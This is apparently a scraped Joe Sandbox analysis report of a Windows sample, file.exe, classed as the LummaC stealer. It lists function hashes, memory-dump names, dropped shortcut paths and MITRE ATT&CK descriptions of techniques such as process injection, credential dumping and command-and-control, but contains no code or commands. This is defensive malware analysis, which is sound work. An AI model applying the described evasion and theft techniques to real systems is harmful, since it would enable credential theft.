Associated: 00000001.00000002.1736919514.00000000062C4000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1736919514.00000000062C6000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6010000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e869ba8edcc002a4e74848bfbc08172d027daec38fd6275eb15f826ad22f96f
Instruction ID: d0d3b10a3d024a807836629d1a2f0bc95cf2a31753f6fb60228aa5bf05d4b6ba
Opcode Fuzzy Hash: 2e869ba8edcc002a4e74848bfbc08172d027daec38fd6275eb15f826ad22f96f
Instruction Fuzzy Hash: 0E314FF250C600AFE705BE18DC8577ABBE5EF94310F05492DE6D4C3650E6359454CB97

Function 061B3368 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1736919514.00000000061A9000.00000040.00000800.00020000.00000000.sdmp, Offset: 06010000, based on PE: true

Associated: 00000001.00000002.1736843105.0000000006010000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1736867179.0000000006012000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1736896286.0000000006016000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1736919514.000000000601A000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1736919514.00000000062B4000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1736919514.00000000062C4000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1736919514.00000000062C6000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6010000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 697400a9967879ffbf10e3d495dcbc58350391088da4c92c3a88ccf99eff06a5
Instruction ID: 3f5e9853e045331e9c0762a0fd45a1570007bc503d26ecf9ac4b44549de9b837
Opcode Fuzzy Hash: 697400a9967879ffbf10e3d495dcbc58350391088da4c92c3a88ccf99eff06a5
Instruction Fuzzy Hash: 9CE04636014205AAC7009F54C859A9FFBF8FF5A321F219889E884CB222C3358C52CB2A

Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 106

Chrome Cache Entry: 107

Windows Analysis Report
file.exe